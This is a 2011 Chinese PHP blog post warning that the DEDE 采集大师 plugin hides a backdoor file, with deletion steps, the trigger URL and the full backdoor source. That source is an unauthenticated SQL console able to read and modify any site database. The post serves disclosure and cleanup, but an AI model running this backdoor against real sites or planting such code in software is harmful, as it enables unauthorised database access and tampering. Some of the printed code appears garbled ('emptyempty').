DEDE采集大师官方留后门的删除办法


Posted in PHP onJanuary 08, 2011

去除官方后门方法:安装好采集大师后,请立即删除 include目录下的dedesql.query.php文件,如已经安装过,有可能文件已被改名为arc.sqlquery.class.php,找到并删除即可。此文件可被利用来在无需登录验证的情况下查询网站数据库,并进行更新、删除、查询数据等操作。大家也可以自己测试一下是否如我所说,方法:
http://你的域名.com/include/dedesql.query.php.php?dopost=viewinfo
输入以上网址,即可打开后门界面。
说实话,会故意留后门的程序,最好的方法就是别用。这个后门被发现了,天知道下一个所谓的新版本还会不会冒出更多的后门来。此后门文件代码如下:

<?php 
require_once(dirname(__FILE__)."/../include/common.inc.php"); 
if(emptyempty($dopost)) 
{ 
$dopost = ""; 
} 
if($dopost=="rename") 
{ 
if(rename('dedesql.query.php','arc.sqlquery.class.php')){ 
echo "成功!"; 
}else{ 
echo "失败!"; 
} 
exit(); 
} 
if($dopost=="viewinfo") 
{ 
if(emptyempty($tablename)) 
{ 
echo "没有指定表名!"; 
} 
else 
{ 
$dsql->SetQuery("SHOW CREATE TABLE ".$dsql->dbName.".".$tablename); 
$dsql->Execute('me'); 
$row2 = $dsql->GetArray('me',MYSQL_BOTH); 
$ctinfo = $row2[1]; 
echo "<xmp>".trim($ctinfo)."</xmp>"; 
} 
exit(); 
} 
if($dopost=="index") 
{ 
require_once(DEDEINC.'/arc.partview.class.php'); 
$envs = $_sys_globals = array(); 
$envs['aid'] = 0; 
$pv = new PartView(); 
$row = $pv->dsql->GetOne('Select * From `#@__homepageset`'); 
$templet = str_replace("{style}",$cfg_df_style,$row['templet']); 
$homeFile = dirname(__FILE__).'/'.$row['position']; 
$homeFile = str_replace("//","/",str_replace("\\","/",$homeFile)); 
$fp = fopen($homeFile,'w') or die("无法更新网站主页到:$homeFile 位置"); 
fclose($fp); 
$tpl = $cfg_basedir.$cfg_templets_dir.'/'.$templet; 
$pv->SetTemplet($tpl); 
$pv->SaveToHtml($homeFile); 
$pv->Close(); 
echo "成功更新首页!"; 
exit(); 
} 
else if($dopost=="query") 
{ 
$sqlquery = trim(stripslashes($sqlquery)); 
if(eregi("drop(.*)table",$sqlquery) ||eregi("drop(.*)database",$sqlquery)) 
{ 
echo "<span style='font-size:10pt'>删除'数据表'或'数据库'的语句不允许在这里执行。</span>"; 
exit(); 
} 
if(eregi("^select ",$sqlquery)) 
{ 
$dsql->SetQuery($sqlquery); 
$dsql->Execute(); 
if($dsql->GetTotalRow()<=0) 
{ 
echo "运行SQL:{$sqlquery},无返回记录!"; 
} 
else 
{ 
echo "运行SQL:{$sqlquery},共有".$dsql->GetTotalRow()."条记录,最大返回100条!"; 
} 
$j = 0; 
while($row = $dsql->GetArray()) 
{ 
$j++; 
if($j>100) 
{ 
break; 
} 
echo "<hr size=1 width='100%'/>"; 
echo "记录:$j"; 
echo "<hr size=1 width='100%'/>"; 
foreach($row as $k=>$v) 
{ 
echo "<font color='red'>{$k}:</font>{$v}<br/>\r\n"; 
} 
} 
exit(); 
} 
if($querytype==2) 
{ 
$sqlquery = str_replace("\r","",$sqlquery); 
$sqls = split(";[ \t]{0,}\n",$sqlquery); 
$nerrCode = "";$i=0; 
foreach($sqls as $q) 
{ 
$q = trim($q); 
if($q=="") 
{ 
continue; 
} 
$dsql->ExecuteNoneQuery($q); 
$errCode = trim($dsql->GetError()); 
if($errCode=="") 
{ 
$i++; 
} 
else 
{ 
$nerrCode .= "执行: <font color='blue'>$q</font> 出错,错误提示:<font color='red'>".$errCode."</font><br>"; 
} 
} 
echo "成功执行{$i}个SQL语句!<br><br>"; 
echo $nerrCode; 
} 
else 
{ 
$dsql->ExecuteNoneQuery($sqlquery); 
$nerrCode = trim($dsql->GetError()); 
echo "成功执行1个SQL语句!<br><br>"; 
echo $nerrCode; 
} 
exit(); 
} 
if($dopost=="view") 
{ 
;echo '<html> 
<head> 
<meta http-equiv=\'Content-Type\' content=\'text/html; charset=gb2312\'> 
<title>SQL命令行工具</title> 
<link href=\'img/base.css\' rel=\'stylesheet\' type=\'text/css\'> 
</head> 
<body background=\'img/allbg.gif\' leftmargin=\'8\' topmargin=\'8\'> 
<table width="98%" border="0" align="center" cellpadding="3" cellspacing="1" bgcolor="#D1DDAA"> 
<tr> 
<td height="19" background="img/tbg.gif"> 
<table width="96%" border="0" cellspacing="1" cellpadding="1"> 
<tr> 
<td width="24%"><strong>SQL命令运行器:</strong></td> 
<td width="76%" align="right"> <b><a href="sys_data.php"><u>数据备份</u></a></b> 
| <b><a href="sys_data_revert.php"><strong><u>数据还原</u></strong></a></b> 
</td> 
</tr> 
</table> 
</td> 
</tr> 
<tr> 
<td height="200" bgcolor="#FFFFFF" valign="top"> 
<table width="100%" border="0" cellspacing="4" cellpadding="2"> 
<form action="" method="post" name="infoform" target="stafrm"> 
<input type=\'hidden\' name=\'dopost\' value=\'viewinfo\' /> 
<tr bgcolor="#F3FBEC"> 
<td width="15%" height="24" align="center">系统的表信息:</td> 
<td> 
<table width="100%" border="0" cellspacing="0" cellpadding="0"> 
<tr> 
<td width="35%"> 
<select name="tablename" id="tablename" style="width:100%" size="6"> 
'; 
$dsql->SetQuery("Show Tables"); 
$dsql->Execute('t'); 
while($row = $dsql->GetArray('t',MYSQL_BOTH)) 
{ 
$dsql->SetQuery("Select count(*) From ".$row[0]); 
$dsql->Execute('n'); 
$row2 = $dsql->GetArray('n',MYSQL_BOTH); 
$dd = $row2[0]; 
echo " <option value='".$row[0]."'>".$row[0]."(".$dd.")</option>\r\n"; 
} 
;echo ' </select> 
</td> 
<td width="2%"> </td> 
<td width="63%" valign="bottom"> 
<div style="float:left;margin-right:20px;"> 
<input type="Submit" name="Submit1" value="优化选中表" class="coolbg np" onClick="this.form.dopost.value=\'opimize\';" /> 
<br /> 
<input type="Submit" name="Submit2" value="修复选中表" class="coolbg np" onClick="this.form.dopost.value=\'repair\';" style="margin-top:6px;" /> 
<br /> 
<input type="Submit" name="Submit3" value="查看表结构" class="coolbg np" onClick="this.form.dopost.value=\'viewinfo\';" style="margin-top:6px;" /> 
</div> 
<div style="float:left"> 
<input type="Submit" name="Submit5" value="优化全部表" class="coolbg np" onClick="this.form.dopost.value=\'opimizeAll\';" /> 
<br /> 
<input type="Submit" name="Submit6" value="修复全部表" class="coolbg np" onClick="this.form.dopost.value=\'repairAll\';" style="margin-top:6px;" /> 
</div> 
</td> 
</tr> 
</table></td> 
</tr> 
<tr> 
<td height="200" align="center">返回信息:</td> 
<td> 
<iframe name="stafrm" frameborder="0" id="stafrm" width="100%" height="100%"></iframe> 
</td> 
</tr> 
</form> 
<form action="" method="post" name="form1" target="stafrm"> 
<input type=\'hidden\' name=\'dopost\' value=\'query\'> 
<tr> 
<td height="24" colspan="2" bgcolor="#F3FBEC"><strong>运行SQL命令行: 
<input name="querytype" type="radio" class="np" value="0"> 
单行命令(支持简单查询) 
<input name="querytype" type="radio" class="np" value="2" checked> 
多行命令</strong></td> 
</tr> 
<tr> 
<td height="118" colspan="2"> 
<textarea name="sqlquery" cols="60" rows="10" id="sqlquery" style="width:90%"></textarea> 
</td> 
</tr> 
<tr> 
<td height="53" align="center"> </td> 
<td> 
<input name="imageField" type="image" src="img/button_ok.gif" width="60" height="22" border="0" class=\'np\' /> 
</td> 
</tr> 
</form> 
</table> 
</td> 
</tr> 
</table> 
</body> 
</html> 
';} 
?>
PHP 相关文章推荐
[转帖]PHP世纪万年历
Dec 06 PHP
PHP 数组排序方法总结 推荐收藏
Jun 30 PHP
探讨Hessian在PHP中的使用分析
Jun 13 PHP
thinkphp3查询mssql数据库乱码解决方法分享
Feb 11 PHP
php使用imagick模块实现图片缩放、裁剪、压缩示例
Apr 17 PHP
PHP使用Session遇到的一个Permission denied Notice解决办法
Jul 30 PHP
Zend Framework教程之连接数据库并执行增删查的方法(附demo源码下载)
Mar 21 PHP
php头像上传预览实例代码
May 02 PHP
[原创]php token使用与验证示例【测试可用】
Aug 30 PHP
PHP实现的简单路由和类自动加载功能
Mar 13 PHP
laravel框架中视图的基本使用方法分析
Nov 23 PHP
Laravel5.5+ 使用API Resources快速输出自定义JSON方法详解
Apr 06 PHP
php !function_exists(&quot;T7FC56270E7A70FA81A5935B72EACBE29&quot;))代码解密
Jan 07 #PHP
PHP备份/还原MySQL数据库的代码
Jan 06 #PHP
php循环检测目录是否存在并创建(循环创建目录)
Jan 06 #PHP
全局记录程序片段的运行时间 正确找到程序逻辑耗时多的断点
Jan 06 #PHP
Discuz Uchome ajaxpost小技巧
Jan 04 #PHP
php INI配置文件的解析实现分析
Jan 04 #PHP
PHP strncasecmp字符串比较的小技巧
Jan 04 #PHP
You might like
PHP学习 变量使用总结
2011/03/24 PHP
PHP使用imagick读取PDF生成png缩略图的两种方法
2014/03/20 PHP
详解WordPress中给链接添加查询字符串的方法
2015/12/18 PHP
thinkPHP js文件中U方法不被解析问题的解决方法
2016/12/05 PHP
php使用ftp实现文件上传与下载功能
2017/07/21 PHP
通过javascript获取iframe里的值示例代码
2013/06/24 Javascript
javascript实现网页中涉及的简易运动(改变宽高、透明度、位置)
2015/11/29 Javascript
JavaScript中0和&quot;&quot;比较引发的问题
2016/05/26 Javascript
javascript 实现文本使用省略号替代(超出固定高度的情况)
2017/02/21 Javascript
js实现带三角符的手风琴效果
2017/03/01 Javascript
详解webpack + vue + node 打造单页面(入门篇)
2017/09/23 Javascript
React组件refs的使用详解
2018/02/09 Javascript
vue实现axios图片上传功能
2019/08/20 Javascript
python爬虫 使用真实浏览器打开网页的两种方法总结
2018/04/21 Python
利用python numpy+matplotlib绘制股票k线图的方法
2019/06/26 Python
Python使用matplotlib 模块scatter方法画散点图示例
2019/09/27 Python
深入浅析Python 命令行模块 Click
2020/03/11 Python
Python定义一个函数的方法
2020/06/15 Python
纯CSS打造(无图像无js)的非常流行的讲话(语音)气泡效果
2012/12/28 HTML / CSS
css3 column实现卡片瀑布流布局的示例代码
2018/06/22 HTML / CSS
为什么要有struct关键字
2012/05/08 面试题
Linux如何命名文件--使用文件名时应注意
2014/05/29 面试题
小学生获奖感言范文
2014/02/02 职场文书
学校卫生检查制度
2014/02/03 职场文书
环保倡议书300字
2014/05/15 职场文书
超市创业计划书
2014/09/15 职场文书
副乡长民主生活会个人对照检查材料思想汇报
2014/10/01 职场文书
审美与表现自我评价
2015/03/09 职场文书
党员公开承诺书(2016最新版)
2016/03/24 职场文书
《初涉尘世》读后感3篇
2020/01/10 职场文书
一文读懂go中semaphore(信号量)源码
2021/04/03 Golang
Golang: 内建容器的用法
2021/05/05 Golang
Python中for后接else的语法使用
2021/05/18 Python
pytorch中[..., 0]的用法说明
2021/05/20 Python
react中的DOM操作实现
2021/06/30 Javascript
5种 JavaScript 方式实现数组扁平化
2021/10/05 Javascript